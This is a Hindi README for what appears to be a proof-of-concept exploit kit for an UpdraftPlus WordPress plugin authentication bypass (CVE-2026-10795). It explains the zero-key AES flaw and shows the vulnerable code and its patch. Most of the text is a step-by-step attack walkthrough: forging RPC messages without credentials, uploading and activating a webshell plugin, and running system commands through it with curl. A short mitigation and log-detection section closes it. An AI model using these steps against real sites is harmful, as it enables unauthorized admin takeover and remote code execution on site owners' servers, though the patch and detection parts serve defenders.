
CVE-2026-10795 – UpdraftPlus प्रमाणीकरण बाईपास
CVE-2026-10795 – UpdraftPlus प्रमाणीकरण बाईपास
⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक उद्देश्यों के लिए है।
इसका उपयोग केवल उन प्रणालियों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।
लेखक किसी भी दुरुपयोग के लिए उत्तरदायी नहीं है।
| फ़ील्ड | विवरण |
|---|
| प्लगइन | UpdraftPlus: WP Backup & Migration |
| प्रभावित संस्करण | ≤ 1.26.4 |
| पैच किया गया संस्करण | 1.26.5 |
| CVSS स्कोर | 8.1 (उच्च) |
| कमजोरी का प्रकार | अप्रमाणित प्रमाणीकरण बाईपास → RCE |
| खोजकर्ता | vtim (Wordfence Bug Bounty) |
| इनाम | $5,200 |
UpdraftPlus, UpdraftCentral से जुड़ी साइटों के लिए प्रत्येक पेज लोड पर एक अप्रमाणित RPC लिसनर पंजीकृत करता है।
decrypt_message() फ़ंक्शन $rsa->decrypt() के रिटर्न वैल्यू को मान्य करने में विफल रहता है।
जब RSA डिक्रिप्शन विफल होता है, तो false को Rijndael::setKey() में पास किया जाता है, जो एक निर्धारित शून्य-कुंजी AES-128 की में परिवर्तित हो जाता है।
एक हमलावर निम्नलिखित कर सकता है:
udrpc_message जाली बनाए// updraftplus/includes/class-remote-communications-v2.php
// Lines 460-491 (version 1.26.4)
$sym_key = $rsa->decrypt($sym_key);
// ❌ No return value check!
$rij->setKey($sym_key); // false → all-zero key
return $rij->decrypt($ciphertext);
$sym_key = $rsa->decrypt($sym_key);
// ✅ Added in 1.26.5
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
updraftplus-auth-bypass/
├── README.md
├── poc.py # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── requirements.txt # Python निर्भरताएँ
├── payloads/
│ ├── list_plugins.py # स्थापित प्लगइन सूचीबद्ध करें
│ ├── upload_shell.py # वेबशेल प्लगइन अपलोड करें
│ └── activate_plugin.py # अपलोड किए गए प्लगइन को सक्रिय करें
├── shell/
│ ├── build_shell.py # वेबशेल ZIP बनाएँ
│ └── test-shell.php # न्यूनतम PHP वेबशेल
└── docs/
├── technical-analysis.md
└── patch-diff.md
git clone https://github.com/yourname/updraftplus-auth-bypass
cd updraftplus-auth-bypass
pip install -r requirements.txt
requirements.txt
requests==2.31.0
pycryptodome==3.20.0
https://www.apachefriends.org
प्रारंभ: Apache + MySQL
# WordPress को htdocs में रखें
C:/xampp/htdocs/wordpress/
# कमजोर प्लगइन संस्करण स्थापित करें
# डाउनलोड: https://plugins.trac.wordpress.org/browser/updraftplus/tags/1.26.4
WordPress एडमिन → सेटिंग्स → UpdraftPlus → UpdraftCentral टैब → कनेक्ट करें
⚠️ आवश्यक: कमजोरी का शोषण करने के लिए साइट को UpdraftCentral से कनेक्ट होना आवश्यक है।
python poc.py --url http://localhost/wordpress/ --user-id 1
python poc.py --url http://localhost/wordpress/ --cmd plugin.get_plugins
# चरण 1: शेल ZIP बनाएँ
python shell/build_shell.py
# चरण 2: अपलोड करें
python poc.py --url http://localhost/wordpress/ --cmd upload_shell
# चरण 3: सक्रिय करें
python poc.py --url http://localhost/wordpress/ --cmd activate_shell
# चरण 4: RCE का परीक्षण करें
curl "http://localhost/wordpress/wp-content/plugins/test-shell/test-shell.php?cmd=whoami"
poc.py
│
├─ 1. खराब RSA-एन्क्रिप्टेड sym_key (गार्बेज बाइट्स) बनाएँ
│
├─ 2. ZERO AES-128 कुंजी (0x00 * 16) के साथ RPC पेलोड को एन्क्रिप्ट करें
│
├─ 3. udrpc_message बनाएँ:
│ [3-बाइट हेक्स लंबाई][नकली sym_key][16-बाइट हेक्स सिफरलेन][सिफरटेक्स्ट]
│
├─ 4. लक्ष्य पर POST करें (कोई प्रमाणीकरण, कोई नॉन्स, कोई कुकीज़ आवश्यक नहीं)
│
└─ 5. सर्वर-साइड:
rsa->decrypt(garbage) → false
setKey(false) → 0x00 key
decrypt(ciphertext) → हमारा पेलोड ✅
wp_set_current_user() → एडमिन एक्सेस
RPC कमांड निष्पादित → RCE 💀
अपडेट करें UpdraftPlus को तुरंत संस्करण 1.26.5 पर।
# udrpc_message के साथ संदिग्ध POST अनुरोधों की तलाश करें
grep "udrpc_message" /var/log/apache2/access.log
# Wordfence उपयोगकर्ता 3 जून, 2026 से सुरक्षित हैं
- अप्रत्याशित प्लगइन स्थापनाएँ
- wp-content/plugins/ में नई PHP फ़ाइलें
- udrpc_message पैरामीटर के साथ WordPress रूट पर POST अनुरोध
- WordPress लॉग में अप्रत्याशित एडमिन-स्तरीय क्रियाएँ
| तिथि | घटना |
|---|---|
| 1 जून, 2026 | कमजोरी Wordfence Bug Bounty के माध्यम से प्रस्तुत की गई |
| 3 जून, 2026 | मान्य किया गया और विक्रेता को प्रकट किया गया |
| 3 जून, 2026 | Wordfence Premium फ़ायरवॉल नियम तैनात किया गया |
| 4 जून, 2026 | विक्रेता ने स्वीकार किया |
| 5 जून, 2026 | पैच जारी (v1.26.5) |
| 3 जुलाई, 2026 | Wordfence Free सुरक्षा सक्रिय |
MIT License – केवल शैक्षिक उपयोग के लिए।
जिन प्रणालियों के आप स्वामी नहीं हैं, उनके विरुद्ध अनधिकृत उपयोग अवैध है।